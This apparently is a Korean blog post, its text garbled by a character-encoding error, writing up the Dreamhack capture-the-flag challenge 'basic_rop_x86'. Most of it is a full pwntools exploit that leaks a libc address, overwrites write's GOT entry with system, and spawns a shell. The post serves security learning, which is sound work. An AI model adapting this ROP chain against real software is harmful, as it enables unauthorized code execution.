Jastes 2022. 10. 30. 23:50


basic_rop_x86

๋ฌธ์ œ ํ’€์ด

NX์™€ Partial RELRO๊ฐ€ ๊ฑธ๋ ค์žˆ๋„ค์š” ๊ทธ๋ฆฌ๊ณ  ์ฝ”๋“œ๋ฅผ ์ ‘๊ทผํ•ด๋ณด๋ฉด
Canary๋Š” ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š๋„ค์š” ๋‹คํ–‰์ด์˜ˆ์š”

์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์ด์ „ ๋‚ด์šฉ์ด๋ž‘ ์œ ์‚ฌํ•œ ๋ฐฉ๋ฒ•์ด๋„ค์š” read()ํ•จ์ˆ˜์— bof๊ฐ€ ๋ฐœ์ƒํ•˜๋‹ˆ๊นŒ์š”
๊ทธ๋Ÿผ ์‹ค์ œ๋กœ ์–ด๋–ค ์‹์œผ๋กœ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹น๋˜์—ˆ๋Š”์ง€๋„ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

์‹ค์ œ๋กœ๋Š” 0x44๋กœ ์žกํ˜€์žˆ๋„ค์š”


Exploit ์„ค๊ณ„

๊ทธ๋Ÿผ ์ €ํฌ๋Š” ์ด์ „์— ํ–ˆ๋˜ ๊ฑฐ์ฒ˜๋Ÿผ system()ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์–ด ์ตœ์ข…์ ์œผ๋กœ system("/bin/sh") ํ˜ธ์ถœ!
๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด read()ํ•จ์ˆ˜์™€ write()๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์‹ค์ œ ์ฃผ์†Œ๋ฅผ leakํ•˜๋Š” ๋ฐฉ์‹์€
์ด์ „์— ๋ฐฐ์› ์œผ๋ฏ€๋กœ ์ƒ๋žตํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

๊ทธ ๋‹ค์Œ์œผ๋กœ ์ €ํฌ๋Š” rop chain์„ ์ด์šฉํ•ด overwirte ํ•ด์ฃผ๊ณ  ์ด๋ฒˆ์—” bss ์˜์—ญ์„ ํ™œ์šฉํ•˜์—ฌ ์ ‘๊ทผํ• ๊ฑฐ์˜ˆ์š”
์ฐธ๊ณ ๋กœ bss ์˜์—ญ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ด์œ ๋Š” Paritial RELRO ๋•Œ๋ฌธ์ธ๋ฐ ์ถ”ํ›„์— ๋ฐฐ์šธ ๋‚ด์šฉ์ด๋‹ˆ๊นŒ ๋„˜์–ด๊ฐ€์ฃ 


Exploit

๋ฉ”๋ชจ๋ฆฌ์˜ ํฌ๊ธฐ๋„ ์•Œ์•„๋ณด์•˜๊ณ  32bit์˜ OS์ด๋ฏ€๋กœ ๊ทธ์˜ ํ•จ์ˆ˜ ํ˜ธ์ถœ์— ๋”ฐ๋ผ
bof์˜ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ์ตœ์†Œํ•œ ๋ฐ์ดํ„ฐ ํฌ๊ธฐ 0x48(buf+sfp) ๊ทธ๋ฆฌ๊ณ  ์œ„ ํ˜•์‹์„ ๋ณด์‹œ๋ฉด canary๊ฐ€ ์•ˆ ๊ฑธ๋ ค์žˆ์ฃ 
์ด์ „์— ํ‘ผ ๋ฌธ์ œ๋Š” return to scu๋ผ๋Š” ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ธ๋ฐ ์ด๋Š” ์ถ”ํ›„ ์ •๋ฆฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ์— rop์˜ ํ˜•์‹์ธ return gadget์„ ์ด์šฉํ•ด ํ’€์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋‹ค์–‘ํ•œ gadget ๋ฐฉ์‹์ด ์žˆ์œผ๋‚˜ ์‹œ๊ฐ„ ๊ด€๊ณ„์ƒ ํˆด์„ ์‚ฌ์šฉํ•˜์˜€์Šต๋‹ˆ๋‹ค.
์ €ํฌ๊ฐ€ ์ด์ „์— pwntools๋ฅผ ์‚ฌ์šฉํ•ด check_lib์˜ ํ˜•์‹์œผ๋กœ ์•Œ์•„๋ณด์•˜๋Š”๋ฐ ์—ฌ๊ธฐ์„œ๋Š” ๊ทธ๋Ÿฐ ๋ฌธ์ œ๊ฐ€ ์—†๋Š” ๋“ฏ ์‹ถ๊ธฐ์—
๊ทธ๋ƒฅ ํ’€์–ด๋ดค๋‹ค๋Š” ์  ์œ ์˜ํ•ด์ฃผ์„ธ์š” ใ… 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!usr/python3
from pwn import *
import sys
 
Host = 'host3.dreamhack.games'
File_Name = './basic_rop_x86'
 
if(args['REMOTE']):
    p = remote(Host, sys.argv[1])
else:
    p = process(File_Name)
 
#default Setting
= ELF(File_Name, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context(arch='i386', os='linux')
#context.cyclic_alphabet = "A"
context.log_level = 'debug'
#gdb.attack()
 
def slog(func_name, func_addr): return success(" : ".join([func_name, hex(func_addr)]))
 
def main():
    #ROP default setting
    read_got = e.got["read"]
    read_plt = e.plt["read"]
    
    write_got = e.got["write"]
    write_plt = e.plt["write"]
 
    main = e.symbols['main']
 
    read_offset = libc.symbols["read"]
    write_offset = libc.symbols['write']
    system_offset = libc.symbols["system"]
    
    binsh = e.bss()
    pppr = 0x08048689 #pop esi; pop edi; pop ebp; ret
 
    '''payload in buffer(buf~ebp : 0x44 | sfp : 0x4 | read_plt | puts_plt_ret.. 0x4 | puts_got 0x4)'''
    
    #payload = cyclic(68) # 0x44
    payload = b'A'*0x44 + b'B'*0x4
 
    # write(1, read_got, 0x4)
    payload += p32(write_plt)
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(read_got)
    payload += p32(4)
 
    # read(0, binsh, 0x8)
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(binsh)
    payload += p32(8)
 
    # read(0, write_got, 0x4)
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(write_got)
    payload += p32(4)
 
    # write("/bin/sh")
    payload += p32(write_plt)
    payload += p32(0)
    payload += p32(binsh)
 
    p.send(payload)
    p.recvuntil('A'*0x40)
    
    #read_addr
    read_addr = u32(p.recvn(4))
 
    #libc_base pointer
    lib_base = read_addr - read_offset
    slog('lib_base_addr', lib_base)
    #log.info(f'libc_base_addr : {hex(lib_base)}')
 
    #other libc_func
    write_addr = lib_base + write_offset
    system_addr = lib_base + system_offset
    
    #log.info(f'read_addr " {hex(read_addr))}')
    slog('read_addr', read_addr)
    slog('write_addr', write_addr)
    slog('system', system_addr)
 
    p.send(b"/bin/sh\x00")
    p.sendline(p32(system_addr))
 
    p.interactive()
 
if __name__ == '__main__':
    main()
 
cs

exploit ์ฝ”๋“œ๋ฅผ ๊ฐ„๋‹จํžˆ ์„ค๋ช…ํ•˜์ž๋ฉด ์šฐ์„  buf์˜ ์‹œ์ž‘๋ถ€ํ„ฐ ebp๊นŒ์ง€ ๊ทธ๋ฆฌ๊ณ  sfp๊นŒ์ง€ ์ฑ„์šด ๊ฒƒ์ด ์‹œ์ž‘์œผ๋กœ
ret ๋ถ€๋ถ„์„ write()์˜ plt๋กœ ๋ฎ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ main์ด ๋๋‚˜๋ฉด ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ write()๋กœ
๋˜ํ•œ write์˜ ์ธ์ž๋Š” pop์„ 3๊ฐœ ์‚ฌ์šฉํ•˜๊ธฐ์— ํ•ด๋‹น gadget์˜ ํ•„์š”ํ•œ ์ฃผ์†Œ๋ฅผ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด์ „์— ํ–ˆ๋˜ ํ˜•์‹ ๊ทธ๋ฆฌ๊ณ  syscall์˜ ํ˜•ํƒœ๋ฅผ ์ฐธ๊ณ  ๋ฐ›์•„์„œ ์ฑ„์› ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋ฉด lib์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธ ํ•ด๋‹น ๋‚˜๋จธ์ง€ ์ฃผ์†Œ๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์„ธ๋ถ€์ ์ธ ๋‚ด์šฉ์€
์ด์ „์— ํ™•์ธํ•ด๋ดค์œผ๋ฏ€๋กœ ๊ฐ„๋‹จํžˆ lib base = ์‹ค์ œ ์ฃผ์†Œ - offset์ธ ํ˜•ํƒœ์˜ˆ์š”
๊ทธ๋Ÿผ system์˜ ์ฃผ์†Œ๋Š” lib_base + system offset์„ ํ•˜๋ฉด ๋˜๊ฒ ์ฃ 

๋‚˜๋จธ์ง€๋Š” ์ฐฌ์ฐฌํžˆ chain rtl๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ system์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธ ํ›„ system()์ฃผ์†Œ๋ฅผ write() got๋กœ ret
write()์— bss(์ž„์‹œ ๋ฐ์ดํ„ฐ ๊ฐ’ ๋“ฑ)์— "/bin/sh" ๋ฌธ์ž์—ด์„ ๋‹ด์•„์ฃผ๊ณ  write("/bin/sh")์„ ํ•ด์ฃผ๋ฉด ๋!


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€